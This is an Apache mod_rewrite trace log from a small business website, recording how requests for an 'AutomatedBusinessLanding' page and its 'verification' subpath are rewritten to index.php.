[Mon Nov 10 18:40:56.370176 2025] [rewrite:trace3] [pid 10210:tid 10262] mod_rewrite.c(505): [client 185.156.72.7:55670] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff52c00f5a0/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:56.370205 2025] [rewrite:trace4] [pid 10210:tid 10262] mod_rewrite.c(505): [client 185.156.72.7:55670] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff52c00f5a0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:56.370223 2025] [rewrite:trace4] [pid 10210:tid 10262] mod_rewrite.c(505): [client 185.156.72.7:55670] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff52c00f5a0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:56.370229 2025] [rewrite:trace4] [pid 10210:tid 10262] mod_rewrite.c(505): [client 185.156.72.7:55670] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff52c00f5a0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:56.370229 2025] [rewrite:trace2] [pid 10210:tid 10262] mod_rewrite.c(505): [client 185.156.72.7:55670] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff52c00f5a0/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:56.370229 2025] [rewrite:trace3] [pid 10210:tid 10262] mod_rewrite.c(505): [client 185.156.72.7:55670] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff52c00f5a0/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:56.370231 2025] [rewrite:trace2] [pid 10210:tid 10262] mod_rewrite.c(505): [client 185.156.72.7:55670] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff52c00f5a0/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:56.370241 2025] [rewrite:trace2] [pid 10210:tid 10262] mod_rewrite.c(505): [client 185.156.72.7:55670] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff52c00f5a0/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:56.370250 2025] [rewrite:trace1] [pid 10210:tid 10262] mod_rewrite.c(505): [client 185.156.72.7:55670] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff52c00f5a0/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:58.196550 2025] [rewrite:trace3] [pid 10211:tid 10278] mod_rewrite.c(505): [client 185.156.72.7:55682] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56c0b6e20/initial] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:58.196663 2025] [rewrite:trace3] [pid 10211:tid 10278] mod_rewrite.c(505): [client 185.156.72.7:55682] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56c0b6e20/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:58.196676 2025] [rewrite:trace3] [pid 10211:tid 10278] mod_rewrite.c(505): [client 185.156.72.7:55682] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56c0b6e20/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:58.196707 2025] [rewrite:trace4] [pid 10211:tid 10278] mod_rewrite.c(505): [client 185.156.72.7:55682] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56c0b6e20/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:58.196731 2025] [rewrite:trace4] [pid 10211:tid 10278] mod_rewrite.c(505): [client 185.156.72.7:55682] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56c0b6e20/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:58.196743 2025] [rewrite:trace4] [pid 10211:tid 10278] mod_rewrite.c(505): [client 185.156.72.7:55682] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56c0b6e20/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:58.196755 2025] [rewrite:trace2] [pid 10211:tid 10278] mod_rewrite.c(505): [client 185.156.72.7:55682] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56c0b6e20/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:58.196767 2025] [rewrite:trace3] [pid 10211:tid 10278] mod_rewrite.c(505): [client 185.156.72.7:55682] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56c0b6e20/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:58.196780 2025] [rewrite:trace2] [pid 10211:tid 10278] mod_rewrite.c(505): [client 185.156.72.7:55682] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56c0b6e20/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:58.196792 2025] [rewrite:trace2] [pid 10211:tid 10278] mod_rewrite.c(505): [client 185.156.72.7:55682] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56c0b6e20/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:58.196818 2025] [rewrite:trace1] [pid 10211:tid 10278] mod_rewrite.c(505): [client 185.156.72.7:55682] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56c0b6e20/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:58.196939 2025] [rewrite:trace3] [pid 10211:tid 10278] mod_rewrite.c(505): [client 185.156.72.7:55682] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56c033e18/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:58.196961 2025] [rewrite:trace3] [pid 10211:tid 10278] mod_rewrite.c(505): [client 185.156.72.7:55682] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56c033e18/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:58.196971 2025] [rewrite:trace3] [pid 10211:tid 10278] mod_rewrite.c(505): [client 185.156.72.7:55682] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56c033e18/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:58.196990 2025] [rewrite:trace4] [pid 10211:tid 10278] mod_rewrite.c(505): [client 185.156.72.7:55682] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56c033e18/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:58.197001 2025] [rewrite:trace3] [pid 10211:tid 10278] mod_rewrite.c(505): [client 185.156.72.7:55682] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56c033e18/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:58.197010 2025] [rewrite:trace3] [pid 10211:tid 10278] mod_rewrite.c(505): [client 185.156.72.7:55682] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56c033e18/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:58.197026 2025] [rewrite:trace3] [pid 10211:tid 10278] mod_rewrite.c(505): [client 185.156.72.7:55682] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56c033e18/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:58.197047 2025] [rewrite:trace4] [pid 10211:tid 10278] mod_rewrite.c(505): [client 185.156.72.7:55682] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56c033e18/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:58.197060 2025] [rewrite:trace1] [pid 10211:tid 10278] mod_rewrite.c(505): [client 185.156.72.7:55682] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56c033e18/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:58.197269 2025] [rewrite:trace3] [pid 10211:tid 10278] mod_rewrite.c(505): [client 185.156.72.7:55682] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56c0c2e80/subreq] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:58.197282 2025] [rewrite:trace3] [pid 10211:tid 10278] mod_rewrite.c(505): [client 185.156.72.7:55682] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56c0c2e80/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:58.197307 2025] [rewrite:trace3] [pid 10211:tid 10278] mod_rewrite.c(505): [client 185.156.72.7:55682] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56c0c2e80/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:58.197329 2025] [rewrite:trace4] [pid 10211:tid 10278] mod_rewrite.c(505): [client 185.156.72.7:55682] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56c0c2e80/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:58.197371 2025] [rewrite:trace4] [pid 10211:tid 10278] mod_rewrite.c(505): [client 185.156.72.7:55682] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56c0c2e80/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:58.197378 2025] [rewrite:trace4] [pid 10211:tid 10278] mod_rewrite.c(505): [client 185.156.72.7:55682] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56c0c2e80/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:58.197379 2025] [rewrite:trace2] [pid 10211:tid 10278] mod_rewrite.c(505): [client 185.156.72.7:55682] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56c0c2e80/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:58.197389 2025] [rewrite:trace3] [pid 10211:tid 10278] mod_rewrite.c(505): [client 185.156.72.7:55682] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56c0c2e80/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:58.197407 2025] [rewrite:trace2] [pid 10211:tid 10278] mod_rewrite.c(505): [client 185.156.72.7:55682] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56c0c2e80/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:58.197439 2025] [rewrite:trace2] [pid 10211:tid 10278] mod_rewrite.c(505): [client 185.156.72.7:55682] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56c0c2e80/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:58.197449 2025] [rewrite:trace1] [pid 10211:tid 10278] mod_rewrite.c(505): [client 185.156.72.7:55682] 185.156.72.7 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff56c0c2e80/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:01.106756 2025] [rewrite:trace3] [pid 10675:tid 10718] mod_rewrite.c(505): [client 45.80.158.27:45306] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1da004a600/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:01.106834 2025] [rewrite:trace3] [pid 10675:tid 10718] mod_rewrite.c(505): [client 45.80.158.27:45306] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1da004a600/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:01.106851 2025] [rewrite:trace4] [pid 10675:tid 10718] mod_rewrite.c(505): [client 45.80.158.27:45306] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1da004a600/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:01.106869 2025] [rewrite:trace4] [pid 10675:tid 10718] mod_rewrite.c(505): [client 45.80.158.27:45306] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1da004a600/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:01.106883 2025] [rewrite:trace4] [pid 10675:tid 10718] mod_rewrite.c(505): [client 45.80.158.27:45306] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1da004a600/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:01.106893 2025] [rewrite:trace2] [pid 10675:tid 10718] mod_rewrite.c(505): [client 45.80.158.27:45306] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1da004a600/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:01.106905 2025] [rewrite:trace3] [pid 10675:tid 10718] mod_rewrite.c(505): [client 45.80.158.27:45306] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1da004a600/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:01.106928 2025] [rewrite:trace2] [pid 10675:tid 10718] mod_rewrite.c(505): [client 45.80.158.27:45306] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1da004a600/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:01.106941 2025] [rewrite:trace2] [pid 10675:tid 10718] mod_rewrite.c(505): [client 45.80.158.27:45306] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1da004a600/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:01.106951 2025] [rewrite:trace1] [pid 10675:tid 10718] mod_rewrite.c(505): [client 45.80.158.27:45306] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1da004a600/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:01.107049 2025] [rewrite:trace3] [pid 10675:tid 10718] mod_rewrite.c(505): [client 45.80.158.27:45306] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1da00db628/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:01.107065 2025] [rewrite:trace3] [pid 10675:tid 10718] mod_rewrite.c(505): [client 45.80.158.27:45306] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1da00db628/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:01.107074 2025] [rewrite:trace3] [pid 10675:tid 10718] mod_rewrite.c(505): [client 45.80.158.27:45306] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1da00db628/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:01.107087 2025] [rewrite:trace4] [pid 10675:tid 10718] mod_rewrite.c(505): [client 45.80.158.27:45306] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1da00db628/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:01.107098 2025] [rewrite:trace3] [pid 10675:tid 10718] mod_rewrite.c(505): [client 45.80.158.27:45306] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1da00db628/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:01.107108 2025] [rewrite:trace3] [pid 10675:tid 10718] mod_rewrite.c(505): [client 45.80.158.27:45306] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1da00db628/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:01.107129 2025] [rewrite:trace3] [pid 10675:tid 10718] mod_rewrite.c(505): [client 45.80.158.27:45306] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1da00db628/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:01.107147 2025] [rewrite:trace4] [pid 10675:tid 10718] mod_rewrite.c(505): [client 45.80.158.27:45306] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1da00db628/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:01.107157 2025] [rewrite:trace1] [pid 10675:tid 10718] mod_rewrite.c(505): [client 45.80.158.27:45306] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1da00db628/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:01.107385 2025] [rewrite:trace3] [pid 10675:tid 10718] mod_rewrite.c(505): [client 45.80.158.27:45306] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d9c0b08f0/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:01.107410 2025] [rewrite:trace3] [pid 10675:tid 10718] mod_rewrite.c(505): [client 45.80.158.27:45306] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d9c0b08f0/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:01.107424 2025] [rewrite:trace4] [pid 10675:tid 10718] mod_rewrite.c(505): [client 45.80.158.27:45306] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d9c0b08f0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:01.107438 2025] [rewrite:trace4] [pid 10675:tid 10718] mod_rewrite.c(505): [client 45.80.158.27:45306] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d9c0b08f0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:01.107451 2025] [rewrite:trace4] [pid 10675:tid 10718] mod_rewrite.c(505): [client 45.80.158.27:45306] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d9c0b08f0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:01.107461 2025] [rewrite:trace2] [pid 10675:tid 10718] mod_rewrite.c(505): [client 45.80.158.27:45306] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d9c0b08f0/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:01.107470 2025] [rewrite:trace3] [pid 10675:tid 10718] mod_rewrite.c(505): [client 45.80.158.27:45306] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d9c0b08f0/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:01.107490 2025] [rewrite:trace2] [pid 10675:tid 10718] mod_rewrite.c(505): [client 45.80.158.27:45306] 45.80.158.27 - - [measureyourbrand.com.au/sid#2195a3e8][rid#7f1d9c0b08f0/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
